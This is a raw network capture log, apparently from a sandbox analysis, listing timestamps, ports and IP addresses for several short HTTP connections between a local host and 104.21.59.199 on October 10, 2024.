Oct 10, 2024 21:01:39.953190088 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.406353951 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.407172918 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.407320976 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412125111 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412236929 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412314892 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412393093 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412420988 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412453890 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412467003 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412482977 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412494898 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412520885 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412522078 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412545919 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412549019 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412570953 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412595987 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412596941 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412621975 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412647963 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.412656069 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412689924 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.412689924 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.417577028 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417604923 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417653084 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.417654037 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417679071 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.417680979 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417704105 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.417707920 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417754889 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.417757988 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417784929 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417819977 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.417829990 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417851925 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.417856932 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417886019 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417892933 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.417956114 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.417958021 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.417984962 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.418029070 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.418061018 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.422713995 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.422770977 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.423022032 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423110008 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423135996 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423166037 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423201084 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423365116 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423409939 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423434973 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423470974 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423482895 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423492908 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423518896 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423528910 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423574924 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423600912 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423646927 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423672915 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423697948 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423722982 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423748016 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.423777103 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.427695036 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.828053951 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.868880987 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.943008900 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:40.948513985 CEST	80	49762	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:40.948570967 CEST	49762	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.169666052 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.177624941 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.177839041 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.178270102 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.183900118 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.633667946 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.635356903 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.635540962 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.640392065 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640428066 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640502930 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.640566111 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640594006 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640624046 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.640625000 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640674114 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.640693903 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640742064 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640748978 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.640769958 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640794039 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.640799046 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640825987 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.640826941 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.640856028 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.640882969 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.645165920 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.645255089 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.645466089 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.645529032 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.645706892 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.645735025 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.645778894 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.645781040 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.645812988 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.645842075 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.645870924 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.645879984 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.645910978 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.645948887 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.645957947 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.645984888 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.645987988 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.646014929 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.646079063 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.646219969 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.650150061 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.650245905 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.650374889 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.650573969 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.650707006 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.650876999 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651005983 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651051044 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651077032 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651137114 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651186943 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651232004 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651258945 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651288033 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651351929 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651377916 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651431084 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651477098 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651504040 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651530027 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651556015 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651582003 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651608944 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651635885 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651667118 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.651693106 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.655257940 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.655647039 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.655673027 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.655689001 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.655700922 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.946290970 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.955260038 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:41.961206913 CEST	80	49763	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:41.961379051 CEST	49763	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.084151030 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.089376926 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.089618921 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.089998007 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.095990896 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.555568933 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.556560993 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.556896925 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.561969995 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.561999083 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.562091112 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.562118053 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.562144041 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.562170029 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.562170982 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.562170982 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.562247992 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.562267065 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.562278032 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.562304974 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.562304974 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.562335968 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.562336922 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.562381029 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.566807985 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.566886902 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.567409039 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567476034 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567502975 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567529917 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567565918 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.567580938 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567608118 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567634106 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567661047 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567682981 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.567682981 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.567708015 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567734957 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567740917 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.567760944 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.567792892 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.567792892 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.567838907 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.571996927 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.572191954 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.572959900 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573048115 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.573263884 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573291063 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573318005 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573369026 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573394060 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573443890 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573470116 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573496103 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573575020 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573601007 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573626041 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573657036 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573682070 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573708057 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573753119 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573779106 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573805094 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.573829889 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.577203035 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.578185081 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.578211069 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.578241110 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.578267097 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.878984928 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.888756037 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:42.894653082 CEST	80	49764	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:42.894774914 CEST	49764	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.020682096 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.026019096 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.026103020 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.026442051 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.031486988 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.500267029 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.543366909 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.585522890 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.585869074 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.590903997 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.591185093 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.591237068 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.591242075 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.591296911 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.591372013 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.591425896 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.591433048 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.591476917 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.591578007 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.591609001 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.591626883 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.591635942 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.591651917 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.591722012 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.595593929 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.595642090 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.595643997 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.595668077 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.595698118 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.595710993 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.596172094 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.596218109 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.596399069 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.596426010 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.596440077 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.596451998 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.596477985 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.596529961 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.596549988 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.596640110 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.596693993 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.596724987 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.597342014 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.597403049 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.600639105 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.600689888 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.600754023 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.600811958 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.600828886 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.600874901 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.600895882 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.601336956 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.601392984 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.601475000 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.601733923 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.601818085 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.602193117 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.602377892 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.602688074 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.605773926 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.605850935 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.605878115 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.605902910 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.605948925 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.605974913 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.606000900 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.606026888 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.606051922 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.606096029 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.606121063 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.606151104 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.606370926 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.606395960 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.606421947 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.910115957 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.917987108 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:43.923738003 CEST	80	49765	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:43.923790932 CEST	49765	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.099301100 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.104693890 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.104809046 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.106225967 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.111284971 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.561021090 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.562025070 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.562242031 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.567070961 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.567276955 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.567305088 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.567332029 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.567347050 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.567382097 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.567437887 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.567464113 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.567487001 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.567487001 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.567512035 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.567517996 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.567539930 CEST	80	49766	104.21.59.199	192.168.2.4
Oct 10, 2024 21:01:44.567547083 CEST	49766	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:01:44.567565918 CEST	80	49766	104.21.59.199	192.168.2.4
